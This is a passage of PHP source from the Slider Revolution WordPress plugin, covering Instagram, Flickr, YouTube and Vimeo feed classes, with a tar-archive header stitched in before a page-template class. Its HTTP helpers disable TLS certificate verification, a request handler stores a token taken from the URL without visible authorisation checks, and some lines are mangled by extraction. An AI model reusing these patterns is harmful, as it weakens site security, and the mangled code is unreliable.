'do_init'), 5); add_action('admin_footer', array(&$this, 'footer_js')); } /** * check if we have QUERY_ARG set * try to login the user */ public function do_init(){ // are we on revslider page? if(!isset($_GET['page']) || $_GET['page'] != 'revslider') return; //instagram returned error if(isset($_GET[self::QUERY_ERROR])) return; //we need token and slide ID to proceed with saving token if(!isset($_GET[self::QUERY_TOKEN]) || !isset($_GET['id'])) return; $token = $_GET[self::QUERY_TOKEN]; $connectwith = $_GET[self::QUERY_CONNECTWITH]; $id = $_GET['id']; $slider = new RevSliderSlider(); $slide = new RevSliderSlide(); $slide->init_by_id($id); $slider_id = $slide->get_slider_id(); if(intval($slider_id) == 0){ $_GET[self::QUERY_ERROR] = __('Slider could not be loaded', 'revslider'); return; } $slider->init_by_id($slider_id); if($slider->inited === false){ $_GET[self::QUERY_ERROR] = __('Slider could not be loaded', 'revslider'); return; } $slider->set_param(array('source', 'instagram', 'token_source'), 'account'); $slider->set_param(array('source', 'instagram', 'token'), $token); $slider->set_param(array('source', 'instagram', 'connect_with'), $connectwith); $slider->update_params(array()); //redirect $url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); $url = add_query_arg(array(self::QUERY_TOKEN => false, self::QUERY_SHOW => 1), $url); wp_redirect($url); exit(); } public function footer_js(){ // are we on revslider page? if(!isset($_GET['page']) || $_GET['page'] != 'revslider') return; if(isset($_GET[self::QUERY_SHOW]) || isset($_GET[self::QUERY_ERROR])){ echo ''; } if(isset($_GET[self::QUERY_ERROR])){ $err = __('Instagram Reports: ', 'revslider') . esc_html($_GET[self::QUERY_ERROR]); echo ''; } } public static function get_login_url(){ $app_id = '677807423170942'; $redirect = 'https://updates.themepunch.tools/ig/auth.php'; $state = base64_encode(admin_url('admin.php?page=revslider&view=slide&id='.$_GET['id'])); return sprintf( 'https://api.instagram.com/oauth/authorize?app_id=%s&redirect_uri=%s&response_type=code&scope=user_profile,user_media&state=%s', $app_id, $redirect, $state ); } /** * Get Instagram Users Pictures CSV list * * @since 3.0 * @param string $user_id Instagram User id (not name) */ public function get_users_photos($search_user_id, $count, $orig_image = ''){ $search_user_array = explode(',', $search_user_id); if(is_array($search_user_array)){ foreach($search_user_array as $search_user){ $this->get_public_photos(trim($search_user), $count, $orig_image); } }else{ $this->get_public_photos(trim($search_user_id), $count, $orig_image); } return $this->stream; } /** * return instagram api object * * @param string $token * @return InstagramBasicDisplay */ public function getInstagram($token){ if( empty($this->instagram[$token]) ){ $this->instagram[$token] = new InstagramBasicDisplay($token); } return $this->instagram[$token]; } /** * refresh Instagram token if needed * * @param string $token Instagram Access Token * @return mixed */ protected function _refresh_token($token){ $transient_token_name = 'revslider_insta_token_'. md5($token); if($this->transient_token_sec > 0 && false !== ($data = get_transient($transient_token_name))){ return; } $instagram = $this->getInstagram($token); //$refresh contain new token, however old token expiry date also updated, so we could still use it $refresh = $instagram->refreshToken($token); set_transient($transient_token_name, $token, $this->transient_token_sec); } /** * Get Instagram User Profile * * @param string $token Instagram Access Token * @return mixed */ public function get_user_profile($token){ $this->_refresh_token($token); $instagram = $this->getInstagram($token); $profile = $instagram->getUserProfile(); if(isset($profile->id)){ return (array)$profile; } return null; } /** * Get Instagram User Pictures * * @since 3.0 * @param int $slider_id slider ID * @param string $token Instagram Access Token * @param string $count media count * @param string $orig_image * @return mixed */ public function get_public_photos($slider_id, $token, $count, $orig_image = ''){ $this->_refresh_token($token); $instagram = $this->getInstagram($token); $cacheKey = 'instagram' . '-' . $slider_id . '-' . $token . '-' . $count; $transient_name = 'revslider_'. md5($cacheKey); if($this->transient_sec > 0 && false !== ($data = get_transient($transient_name))){ $this->stream = $data; return $this->stream; } else { delete_transient($transient_name); } //Getting instagram images $medias = $instagram->getUserMedia('me', $count); if(isset($medias->data)){ $this->instagram_output_array($medias->data, $count); } if(!empty($this->stream)){ set_transient($transient_name, $this->stream, $this->transient_sec); return $this->stream; }else{ $err = translate('Instagram reports: Please check the settings','revslider'); if(isset($medias->error)){ $err = $medias->error->message; } echo $err; return false; } } function input($name, $default = null){ return isset($_REQUEST[$name]) ? $_REQUEST[$name] : $default; } public function http_request($url, $post = '', $cookies = '', $headers = '', $show_header = true){ $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, $show_header); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); if($post){ curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } if($cookies){ curl_setopt($ch, CURLOPT_COOKIE, $cookies); } if($headers){ curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); $page = curl_exec($ch); curl_close($ch); return $page; } /** * Get Instagram Tags Pictures CSV list * * @since 3.0 * @param string $user_id Instagram User id (not name) */ public function get_tags_photos($search_user_id, $count, $orig_image){ $search_user_array = explode(',', $search_user_id); if(is_array($search_user_array)){ foreach($search_user_array as $search_user){ $this->get_tag_photos(trim($search_user), $count, $orig_image); } } else{ $this->get_tag_photos(trim($search_user_id), $count, $orig_image); } return $this->stream; } /** * Get Instagram Tag Pictures * * @since 3.0 * @param string $user_id Instagram User id (not name) */ public function get_tag_photos($search_user_id,$count,$orig_image){ if(!empty($search_user_id)){ $search_user_id = str_replace("#", "", $search_user_id); $url = 'https://www.instagram.com/explore/tags/'.$search_user_id.'/?__a=1'; $transient_name = 'revslider_'. md5($url."count=".$count); if($this->transient_sec > 0 && false !== ($data = get_transient( $transient_name))){ $this->stream = $data; return $this->stream; } else delete_transient( $transient_name ); $rsp = json_decode(wp_remote_fopen($url)); $count = $this->instagram_output_array($rsp->graphql->hashtag->edge_hashtag_to_media->edges,$count,$search_user_id,$orig_image); if(!$rsp->graphql->hashtag->edge_hashtag_to_media->count){ _e('Instagram reports: Please check the settings','revslider'); return false; } while($count){ $url = 'https://www.instagram.com/explore/tags/'.$search_user_id.'/?__a=1&max_id='.$rsp->graphql->hashtag->edge_hashtag_to_media->page_info->end_cursor; $rsp = json_decode(wp_remote_fopen($url)); $count = $this->instagram_output_array($rsp->tag->media->nodes,$count,$search_user_id,$orig_image); } if(!empty($this->stream)){ set_transient( $transient_name, $this->stream, $this->transient_sec ); return $this->stream; }else{ _e('Instagram reports: Please check the settings','revslider'); return false; } }else{ _e('Instagram reports: Please check the settings','revslider'); return false; } } /** * Get Instagram Locations Pictures CSV list * * @since 3.0 * @param string $user_id Instagram User id (not name) */ public function get_places_photos($search_user_id,$count,$orig_image){ $search_user_array = explode(",", $search_user_id); if(is_array($search_user_array)){ foreach($search_user_array as $search_user){ $this->get_place_photos(trim($search_user),$count,$orig_image); } } else { $this->get_place_photos(trim($search_user_id),$count,$orig_image); } return $this->stream; } /** * Get Instagram Location Pictures * * @since 3.0 * @param string $user_id Instagram User id (not name) */ public function get_place_photos($search_user_id,$count,$orig_image){ if(!empty($search_user_id)){ $url = 'https://www.instagram.com/explore/locations/'.$search_user_id.'/?__a=1'; $transient_name = 'revslider_'. md5($url."count=".$count); if($this->transient_sec > 0 && false !== ($data = get_transient( $transient_name))){ $this->stream = $data; return $this->stream; } else delete_transient( $transient_name ); $rsp = json_decode(wp_remote_fopen($url)); $count = $this->instagram_output_array($rsp->graphql->location->edge_location_to_media->edges,$count,$search_user_id,$orig_image); if(!$rsp->graphql->location->edge_location_to_media->count){ _e('Instagram reports: Please check the settings','revslider'); return false; } while($count){ $url = 'https://www.instagram.com/explore/locations/'.$search_user_id.'/?__a=1&max_id='.$rsp->graphql->location->edge_location_to_media->page_info->end_cursor; $rsp = json_decode(wp_remote_fopen($url)); $count = $this->instagram_output_array($rsp->graphql->location->edge_location_to_media->edges,$count,$search_user_id,$orig_image); } if(!empty($this->stream)){ set_transient( $transient_name, $this->stream, $this->transient_sec ); return $this->stream; } else { _e('Instagram reports: Please check the settings','revslider'); return false; } } else { _e('Instagram reports: Please check the settings','revslider'); return false; } } /** * Prepare output array $stream * * @since 3.0 * @param array $photos Instagram Output Data * @param int $count resulting number of items */ private function instagram_output_array($photos, $count){ $this->stream = array(); foreach ($photos as $photo){ if($count > 0){ $count--; $shortcode = ''; preg_match('/.+\/p\/(.+)?\//m', $photo->permalink, $matches); if(isset($matches[1])){ $shortcode = $matches[1]; } $photo->display_url = isset($photo->media_url) ? $photo->media_url : ''; if($photo->media_type == 'VIDEO'){ $photo->display_url = isset($photo->thumbnail_url) ? $photo->thumbnail_url : ''; $photo->thumbnail_src = $photo->display_url; $photo->videos['standard_resolution']['url'] = isset($photo->media_url) ? $photo->media_url : ''; } $photo->link = isset($photo->permalink) ? $photo->permalink : ''; $photo->shortcode = $shortcode; $photo->taken_at_timestamp = isset($photo->timestamp) ? $photo->timestamp : ''; $photo->edge_media_to_caption['edges'][0]['node']['text'] = isset($photo->caption) ? $photo->caption : ''; $this->stream[] = $photo; } } return $count; } /** * Prepare output array $stream * * @since 3.0 * @param string $photos Instagram Output Data */ private function instagram_output_array_places($photos,$count,$search_user_id,$orig_image=""){ foreach ($photos as $photo){ if($count > 0){ $count--; $stream = array(); if($orig_image){ $url = 'https://www.instagram.com/p/'.$photo->code.'/?__a=1'; $rsp = json_decode(wp_remote_fopen($url)); $images = end($rsp->graphql->shortcode_media->display_resources); $orig_image = array( $images->src, $images->config_width, $images->config_height ); } else { $orig_image = array('',0,0); } $thumbnail_resources = $photo->thumbnail_resources; $image_url = array( 'Low Resolution' => array( $thumbnail_resources[2]->src, 320, 320 ), 'Thumbnail' => array( $thumbnail_resources[0]->src, 150, 150 ), 'Standard Resolution' => array( $photo->thumbnail_src, 640, 640 ), 'Original Resolution' => $orig_image ); $text = empty($photo->caption) ? '' : $photo->caption; $stream['id'] = $photo->id; $stream['custom-image-url'] = $image_url; //image for entry if($photo->is_video != "true"){ $stream['custom-type'] = 'image'; //image, vimeo, youtube, soundcloud, html } else{ $url = 'https://www.instagram.com/p/'.$photo->code.'/?__a=1'; $rsp = json_decode(wp_remote_fopen($url)); $stream['custom-type'] = 'html5'; //image, vimeo, youtube, soundcloud, html $stream['custom-html5-mp4'] = $rsp->graphql->shortcode_media->video_url; } $stream['post-link'] = 'https://www.instagram.com/p/' . $photo->code; $url = '~(?:(https?)://([^\s<]+)|(www\.[^\s<]+?\.[^\s<]+))(?$0', $text); $stream['title'] = $text; $stream['content'] = $text; $stream['date'] = date_i18n( get_option( 'date_format' ), ( $photo->date ) ) ; $stream['date_modified'] = date_i18n( get_option( 'date_format' ), ( $photo->date ) ) ; $stream['author_name'] = $search_user_id; if(isset($photo->tags)) $stream['tags'] = implode(',', $photo->tags); $stream['likes'] = $photo->likes->count; $stream['likes_short'] = Essential_Grid_Base::thousandsViewFormat($photo->likes->count); $stream['num_comments'] = $photo->comments->count; $this->stream[] = $stream; } } return $count; } /** * Fallback method to get 12 latest photos * @param String $search_user_id (name of instagram user) */ private function getFallbackImages($search_user_id){ //FALLBACK 12 ELEMENTS $page_res = $this->client_request('get', '/' . $search_user_id . '/'); $page_data = ""; switch ($page_res['http_code']){ default: break; case 404: break; case 200: $page_data_matches = array(); if(!preg_match('#window\._sharedData\s*=\s*(.*?)\s*;\s*#', $page_res['body'], $page_data_matches)){ _e('Instagram reports: Parse script error','revslider'); }else{ $page_data = json_decode($page_data_matches[1], true); if(!$page_data || empty($page_data['entry_data']['ProfilePage'][0]['graphql']['user'])){ _e('Instagram reports: Content did not match expected','revslider'); }else{ $user_data = $page_data['entry_data']['ProfilePage'][0]['graphql']['user']; if($user_data['is_private']){ _e('Instagram reports: Content is private','revslider'); } } } break; } if(!$page_data) return $page_data; $user_data = $page_data['entry_data']['ProfilePage'][0]['graphql']['user']; return $user_data; } /** * Cliente request to get 12 instagram photos fallback * @param unknown $type * @param unknown $url * @param unknown $options * @return number[]|string[]|NULL|number[]|string[]|number[]|unknown[]|string[]|number[]|unknown[]|unknown[][]|string[][]|number[][]|NULL[][] */ private function client_request($type, $url, $options = null){ $this->index('client', array( 'base_url' => 'https://www.instagram.com/', 'cookie_jar' => array(), 'headers' => array( // 'Accept-Encoding' => supports_gz () ? 'gzip' : null, 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36', 'Origin' => 'https://www.instagram.com', 'Referer' => 'https://www.instagram.com', 'Connection' => 'close' ) )); $client = $this->index('client'); $type = strtoupper($type); $options = is_array($options) ? $options : array(); $url = (!empty($client['base_url']) ? rtrim($client['base_url'], '/') : '') . $url; $url_info = parse_url($url); $scheme = !empty($url_info['scheme']) ? $url_info['scheme'] : ''; $host = !empty($url_info['host']) ? $url_info['host'] : ''; $port = !empty($url_info['port']) ? $url_info['port'] : ''; $path = !empty($url_info['path']) ? $url_info['path'] : ''; $query_str = !empty($url_info['query']) ? $url_info['query'] : ''; if(!empty($options['query'])){ $query_str = http_build_query($options['query']); } $headers = !empty($client['headers']) ? $client['headers'] : array(); if(!empty($options['headers'])){ $headers = $this->array_merge_assoc($headers, $options['headers']); } $headers['Host'] = $host; $client_cookies = $this->client_get_cookies_list($host); $cookies = $client_cookies; if(!empty($options['cookies'])){ $cookies = $this->array_merge_assoc($cookies, $options['cookies']); } if($cookies){ $request_cookies_raw = array(); foreach ($cookies as $cookie_name => $cookie_value){ $request_cookies_raw[] = $cookie_name . '=' . $cookie_value; } unset($cookie_name, $cookie_data); $headers['Cookie'] = implode('; ', $request_cookies_raw); } if($type === 'POST' && !empty($options['data'])){ $data_str = http_build_query($options['data']); $headers['Content-Type'] = 'application/x-www-form-urlencoded'; $headers['Content-Length'] = strlen($data_str); } else { $data_str = ''; } $headers_raw_list = array(); foreach ($headers as $header_key => $header_value){ $headers_raw_list[] = $header_key . ': ' . $header_value; } unset($header_key, $header_value); $transport_error = null; $curl_support = function_exists('curl_init'); $sockets_support = function_exists('fsockopen'); if(!$curl_support && !$sockets_support){ log_error('Curl and sockets are not supported on this server'); return array( 'status' => 0, 'transport_error' => 'php on web-server does not support curl and sockets' ); } if($curl_support){ $curl = curl_init(); $curl_options = array( CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_URL => $scheme . '://' . $host . $path . (!empty($query_str) ? '?' . $query_str : ''), CURLOPT_HTTPHEADER => $headers_raw_list, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_CONNECTTIMEOUT => 15, CURLOPT_TIMEOUT => 60, ); if($type === 'POST'){ $curl_options[CURLOPT_POST] = true; $curl_options[CURLOPT_POSTFIELDS] = $data_str; } curl_setopt_array($curl, $curl_options); $response_str = curl_exec($curl); $curl_info = curl_getinfo($curl); $curl_error = curl_error($curl); curl_close($curl); if($curl_info['http_code'] === 0){ log_error('An error occurred while loading data. curl_error: ' . $curl_error); $transport_error = array('status' => 0, 'transport_error' => 'curl'); if(!$sockets_support){ return $transport_error; } } } if(!$curl_support || $transport_error){ log_error('Trying to load data using sockets'); $headers_str = implode("\r\n", $headers_raw_list); $out = sprintf("%s %s HTTP/1.1\r\n%s\r\n\r\n%s", $type, $path . (!empty($query_str) ? '?' . $query_str : ''), $headers_str, $data_str); if($scheme === 'https'){ $scheme = 'ssl'; $port = !empty($port) ? $port : 443; } $scheme = !empty($scheme) ? $scheme . '://' : ''; $port = !empty($port) ? $port : 80; $sock = @fsockopen($scheme . $host, $port, $err_num, $err_str, 15); if(!$sock){ log_error('An error occurred while loading data error_number: ' . $err_num . ', error_number: ' . $err_str); return array( 'status' => 0, 'error_number' => $err_num, 'error_message' => $err_str, 'transport_error' => $transport_error ? 'curl and sockets' : 'sockets' ); } fwrite($sock, $out); $response_str = ''; while ($line = fgets($sock, 128)){ $response_str .= $line; } fclose($sock); } @list ($response_headers_str, $response_body_encoded, $alt_body_encoded) = explode("\r\n\r\n", $response_str); if($alt_body_encoded){ $response_headers_str = $response_body_encoded; $response_body_encoded = $alt_body_encoded; } $response_body = $response_body_encoded; $response_headers_raw_list = explode("\r\n", $response_headers_str); $response_http = array_shift($response_headers_raw_list); preg_match('#^([^\s]+)\s(\d+)\s([^$]+)$#', $response_http, $response_http_matches); array_shift($response_http_matches); list ($response_http_protocol, $response_http_code, $response_http_message) = $response_http_matches; $response_headers = array(); $response_cookies = array(); foreach ($response_headers_raw_list as $header_row){ list ($header_key, $header_value) = explode(': ', $header_row, 2); if(strtolower($header_key) === 'set-cookie'){ $cookie_params = explode('; ', $header_value); if(empty($cookie_params[0])){ continue; } list ($cookie_name, $cookie_value) = explode('=', $cookie_params[0]); $response_cookies[$cookie_name] = $cookie_value; } else { $response_headers[$header_key] = $header_value; } } unset($header_row, $header_key, $header_value, $cookie_name, $cookie_value); if($response_cookies){ $response_cookies['ig_or'] = 'landscape-primary'; $response_cookies['ig_pr'] = '1'; $response_cookies['ig_vh'] = rand(500, 1000); $response_cookies['ig_vw'] = rand(1100, 2000); $client['cookie_jar'][$host] = $this->array_merge_assoc($client_cookies, $response_cookies); $this->index('client', $client); } return array( 'status' => 1, 'http_protocol' => $response_http_protocol, 'http_code' => $response_http_code, 'http_message' => $response_http_message, 'headers' => $response_headers, 'cookies' => $response_cookies, 'body' => $response_body ); } /** * Helper function for fallback photos function * @param unknown $domain * @return unknown */ private function client_get_cookies_list($domain){ $client = $this->index('client'); $cookie_jar = $client['cookie_jar']; return !empty($cookie_jar[$domain]) ? $cookie_jar[$domain] : array(); } /** * Helper function for fallback photos function * @param unknown $key * @param unknown $value * @param string $f * @return NULL|string */ private function index($key, $value = null, $f = false){ static $index = array(); if($value || $f){ $index[$key] = $value; } return !empty($index[$key]) ? $index[$key] : null; } /** * Helper function for fallback photos function * @return NULL */ private function array_merge_assoc(){ $mixed = null; $arrays = func_get_args(); foreach ($arrays as $k => $arr){ if($k === 0){ $mixed = $arr; continue; } $mixed = array_combine( array_merge(array_keys($mixed), array_keys($arr)), array_merge(array_values($mixed), array_values($arr)) ); } return $mixed; } } // End Class /** * Flickr * * with help of the API this class delivers all kind of Images from flickr * * @package socialstreams * @subpackage socialstreams/flickr * @author ThemePunch */ class RevSliderFlickr extends RevSliderFunctions { /** * API key * * @since 1.0.0 * @access private * @var string $api_key flickr API key */ private $api_key; /** * API params * * @since 1.0.0 * @access private * @var array $api_param_defaults Basic params to call with API */ private $api_param_defaults; /** * Stream Array * * @since 1.0.0 * @access private * @var array $stream Stream Data Array */ private $stream; /** * Basic URL * * @since 1.0.0 * @access private * @var string $url Url to fetch user from */ private $flickr_url; /** * Transient seconds * * @since 1.0.0 * @access private * @var number $transient Transient time in seconds */ private $transient_sec; /** * Initialize the class and set its properties. * * @since 1.0.0 * @param string $api_key flickr API key. */ public function __construct($api_key, $transient_sec = 1200){ $this->api_key = $api_key; $this->api_param_defaults = array( 'api_key' => $this->api_key, 'format' => 'json', 'nojsoncallback' => 1, ); $this->transient_sec = $transient_sec; } /** * Calls Flicker API with set of params, returns json * * @since 1.0.0 * @param array $params Parameter build for API request */ private function call_flickr_api($params){ //build url $encoded_params = array(); foreach($params as $k => $v){ $encoded_params[] = urlencode($k).'='.urlencode($v); } //call the API and decode the response $url = 'https://api.flickr.com/services/rest/?'.implode('&', $encoded_params); $transient_name = 'revslider_' . md5($url); if($this->transient_sec > 0 && false !== ($data = get_transient($transient_name))) return ($data); $rsp = json_decode(file_get_contents($url)); if(isset($rsp)){ set_transient($transient_name, $rsp, $this->transient_sec); return $rsp; }else{ return ''; } } /** * Get User ID from its URL * * @since 1.0.0 * @param string $user_url URL of the Gallery */ public function get_user_from_url($user_url){ //gallery params $user_params = $this->api_param_defaults + array( 'method' => 'flickr.urls.lookupUser', 'url' => $user_url, ); //set User Url $this->flickr_url = $user_url; //get gallery info $user_info = $this->call_flickr_api($user_params); return $this->get_val($user_info, array('user', 'id'), ''); } /** * Get Group ID from its URL * * @since 1.0.0 * @param string $group_url URL of the Gallery */ public function get_group_from_url($group_url){ //gallery params $group_params = $this->api_param_defaults + array( 'method' => 'flickr.urls.lookupGroup', 'url' => $group_url, ); //set User Url $this->flickr_url = $group_url; //get gallery info $group_info = $this->call_flickr_api($group_params); return $this->get_val($group_info, array('group', 'id'), ''); } /** * Get Public Photos * * @since 1.0.0 * @param string $user_id flicker User id (not name) * @param int $item_count number of photos to pull */ public function get_public_photos($user_id, $item_count = 10){ //public photos params $public_photo_params = $this->api_param_defaults + array( 'method' => 'flickr.people.getPublicPhotos', 'user_id' => $user_id, 'extras' => 'description, license, date_upload, date_taken, owner_name, icon_server, original_format, last_update, geo, tags, machine_tags, o_dims, views, media, path_alias, url_sq, url_t, url_s, url_q, url_m, url_n, url_z, url_c, url_l, url_o', 'per_page'=> $item_count, 'page' => 1 ); //get photo list $public_photos_list = $this->call_flickr_api($public_photo_params); return $this->get_val($public_photos_list, array('photos', 'photo'), ''); } /** * Get Photosets List from User * * @since 1.0.0 * @param string $user_id flicker User id (not name) * @param int $item_count number of photos to pull */ public function get_photo_sets($user_id, $item_count, $current_photoset){ //item count default is 10 //photoset params $photo_set_params = $this->api_param_defaults + array( 'method' => 'flickr.photosets.getList', 'user_id' => $user_id, 'per_page'=> $item_count, 'page' => 1 ); //get photoset list $photo_sets_list = $this->call_flickr_api($photo_set_params); $return = array(); foreach($photo_sets_list->photosets->photoset as $photo_set){ if(empty($photo_set->title->_content)) $photo_set->title->_content = ""; if(empty($photo_set->photos)) $photo_set->photos = 0; $return[] = '"'; } return $return; } /** * Get Photoset Photos * * @since 1.0.0 * @param string $photo_set_id Photoset ID * @param int $item_count number of photos to pull */ public function get_photo_set_photos($photo_set_id,$item_count=10){ //photoset photos params $this->stream = array(); $photo_set_params = $this->api_param_defaults + array( 'method' => 'flickr.photosets.getPhotos', 'photoset_id' => $photo_set_id, 'per_page' => $item_count, 'page' => 1, 'extras' => 'license, date_upload, date_taken, owner_name, icon_server, original_format, last_update, geo, tags, machine_tags, o_dims, views, media, path_alias, url_sq, url_t, url_s, url_q, url_m, url_n, url_z, url_c, url_l, url_o' ); //get photo list $photo_set_photos = $this->call_flickr_api($photo_set_params); return $this->get_val($photo_set_photos, array('photoset', 'photo'), ''); } /** * Get Groop Pool Photos * * @since 1.0.0 * @param string $group_id Photoset ID * @param int $item_count number of photos to pull */ public function get_group_photos($group_id,$item_count=10){ //photoset photos params $group_pool_params = $this->api_param_defaults + array( 'method' => 'flickr.groups.pools.getPhotos', 'group_id' => $group_id, 'per_page' => $item_count, 'page' => 1, 'extras' => 'license, date_upload, date_taken, owner_name, icon_server, original_format, last_update, geo, tags, machine_tags, o_dims, views, media, path_alias, url_sq, url_t, url_s, url_q, url_m, url_n, url_z, url_c, url_l, url_o' ); //get photo list $group_pool_photos = $this->call_flickr_api($group_pool_params); return $this->get_val($group_pool_photos, array('photos', 'photo'), ''); } /** * Get Gallery ID from its URL * * @since 1.0.0 * @param string $gallery_url URL of the Gallery * @param int $item_count number of photos to pull */ public function get_gallery_from_url($gallery_url){ //gallery params $gallery_params = $this->api_param_defaults + array( 'method' => 'flickr.urls.lookupGallery', 'url' => $gallery_url, ); //get gallery info $gallery_info = $this->call_flickr_api($gallery_params); return $this->get_val($gallery_info, array('gallery', 'id'), ''); } /** * Get Gallery Photos * * @since 1.0.0 * @param string $gallery_id flicker Gallery id (not name) * @param int $item_count number of photos to pull */ public function get_gallery_photos($gallery_id,$item_count=10){ //gallery photos params $gallery_photo_params = $this->api_param_defaults + array( 'method' => 'flickr.galleries.getPhotos', 'gallery_id' => $gallery_id, 'extras' => 'description, license, date_upload, date_taken, owner_name, icon_server, original_format, last_update, geo, tags, machine_tags, o_dims, views, media, path_alias, url_sq, url_t, url_s, url_q, url_m, url_n, url_z, url_c, url_l, url_o', 'per_page'=> $item_count, 'page' => 1 ); //get photo list $gallery_photos_list = $this->call_flickr_api($gallery_photo_params); return $this->get_val($gallery_photos_list, array('photos', 'photo'), ''); } } // End Class /** * Youtube * * with help of the API this class delivers all kind of Images/Videos from youtube * * @package socialstreams * @subpackage socialstreams/youtube * @author ThemePunch */ class RevSliderYoutube extends RevSliderFunctions { /** * API key * * @since 1.0.0 * @access private * @var string $api_key Youtube API key */ private $api_key; /** * Channel ID * * @since 1.0.0 * @access private * @var string $channel_id Youtube Channel ID */ private $channel_id; /** * Stream Array * * @since 1.0.0 * @access private * @var array $stream Stream Data Array */ private $stream; /** * Transient seconds * * @since 1.0.0 * @access private * @var number $transient Transient time in seconds */ private $transient_sec; /** * Initialize the class and set its properties. * * @since 1.0.0 * @param string $api_key Youtube API key. */ public function __construct($api_key, $channel_id, $transient_sec = 1200){ $this->api_key = $api_key; $this->channel_id = $channel_id; $this->transient_sec = $transient_sec; } /** * Get Youtube Playlists * * @since 1.0.0 */ public function get_playlists(){ //call the API and decode the response $url = "https://www.googleapis.com/youtube/v3/playlists?part=snippet&maxResults=50&channelId=".$this->channel_id."&key=".$this->api_key; $rsp = json_decode(wp_remote_fopen($url)); return $this->get_val($rsp, 'items', false); } /** * Get Youtube Playlist Items * * @since 1.0.0 * @param string $playlist_id Youtube Playlist ID * @param integer $count Max videos count */ public function show_playlist_videos($playlist_id, $count = 50){ //call the API and decode the response if(empty($count)) $count = 50; $url = "https://www.googleapis.com/youtube/v3/playlistItems?part=snippet&playlistId=".$playlist_id."&maxResults=".$count."&fields=items%2Fsnippet&key=".$this->api_key; $transient_name = 'revslider_' . md5($url); if($this->transient_sec > 0 && false !== ($data = get_transient($transient_name))) return($data); $rsp = json_decode(wp_remote_fopen($url)); if(!isset($rsp->items)) return array(); set_transient($transient_name, $rsp->items, $this->transient_sec); return $rsp->items; } /** * Get Youtube Channel Items * * @since 1.0.0 * @param integer $count Max videos count */ public function show_channel_videos($count = 50){ if(empty($count)) $count = 50; //call the API and decode the response $url = 'https://www.googleapis.com/youtube/v3/search?part=snippet&channelId='.$this->channel_id.'&maxResults='.$count.'&key='.$this->api_key.'&order=date'; $transient_name = 'revslider_' . md5($url); if($this->transient_sec > 0 && false !== ($data = get_transient($transient_name))) return ($data); $rsp = json_decode(wp_remote_fopen($url)); if(!isset($rsp->items)) return array(); set_transient($transient_name, $rsp->items, $this->transient_sec); return $rsp->items; } /** * Get Playlists from Channel as Options for Selectbox * * @since 1.0.0 */ public function get_playlist_options($current_playlist){ $return = array(); $playlists = $this->get_playlists(); if(!empty($playlists)){ foreach($playlists as $playlist){ $return[] = '"'; } } return $return; } } // End Class /** * Vimeo * * with help of the API this class delivers all kind of Images/Videos from Vimeo * * @package socialstreams * @subpackage socialstreams/vimeo * @author ThemePunch */ class RevSliderVimeo extends RevSliderFunctions { /** * Stream Array * * @since 1.0.0 * @access private * @var array $stream Stream Data Array */ private $stream; /** * Transient seconds * * @since 1.0.0 * @access private * @var number $transient Transient time in seconds */ private $transient_sec; /** * Initialize the class and set its properties. * * @since 1.0.0 * @param string $api_key Youtube API key. */ public function __construct($transient_sec = 1200){ $this->transient_sec = $transient_sec; } /** * Get Vimeo User Videos * * @since 1.0.0 */ public function get_vimeo_videos($type, $value, $elements = 20){ //call the API and decode the response $url = 'https://vimeo.com/api/v2/'; $url .= ($type == 'user') ? $value.'/videos.json' : $type.'/'.$value.'/videos.json'; $transient_name = 'revslider_' . md5($url.$elements); if($this->transient_sec > 0 && false !== ($data = get_transient($transient_name))) return ($data); $elements = intval($elements); $page = 1; $rsp = array(); do { $_rsp = json_decode(wp_remote_fopen($url.'?page='.$page)); if(!empty($_rsp) && is_array($_rsp)) $rsp = array_merge($rsp, $_rsp); $page++; $elements -= 20; } while($elements > 0); set_transient($transient_name, $rsp, $this->transient_sec); return $rsp; } } // End Classincludes/index.php000060400000000033151724235750010175 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if( !defined( 'ABSPATH') ) exit(); class RevSliderPageTemplate { /** * A reference to an instance of this class. */ private static $instance; /** * The array of templates that this plugin tracks. */ protected $templates; /** * Returns an instance of this class. */ public static function get_instance() { if( null == self::$instance ) { self::$instance = new RevSliderPageTemplate(); } return self::$instance; } /** * Initializes the plugin by setting filters and administration functions. */ private function __construct() { $this->templates = array(); // Add a filter to the attributes metabox to inject template into the cache. add_filter( 'page_attributes_dropdown_pages_args', array( $this, 'register_project_templates' ) ); // Add a filter to the save post to inject out template into the page cache add_filter( 'wp_insert_post_data', array( $this, 'register_project_templates' ) ); // Add a filter to the template include to determine if the page has our // template assigned and return it's path add_filter( 'template_include', array( $this, 'view_project_template') ); // Add your templates to this array. $this->templates = array( '../public/views/revslider-page-template.php' => 'Slider Revolution Blank Template', ); // Fix for WP 4.7 add_filter( 'theme_page_templates', array($this, 'register_project_templates_new' ) ); // Add filters to the attributes metabox to inject templates to all posts $types = get_post_types( [], 'objects' ); foreach ( $types as $type => $values ) { if ( isset( $type ) ) { $type_name = 'theme_' . $type . '_templates'; add_filter( $type_name , array( $this, 'add_post_templates' )); } } } // Adds our template to the new post templates setting (WP >= 4.7) public function register_project_templates_new( $post_templates ) { $post_templates = array_merge( $post_templates, $this->templates ); return $post_templates; } public function add_post_templates( $templates ) { $my_virtual_templates = array( '../public/views/revslider-page-template.php' => 'Slider Revolution Blank Template', ); // Merge with any templates already available $templates = array_merge( $templates, $my_virtual_templates ); return $templates; } /** * Adds our template to the pages cache in order to trick WordPress * into thinking the template file exists where it doens't really exist. * */ public function register_project_templates( $atts ) { // Create the key used for the themes cache $cache_key = 'page_templates-' . md5( get_theme_root() . '/' . get_stylesheet() ); // Retrieve the cache list. // If it doesn't exist, or it's empty prepare an array $templates = wp_get_theme()->get_page_templates(); if ( empty( $templates ) ) { $templates = array(); } // New cache, 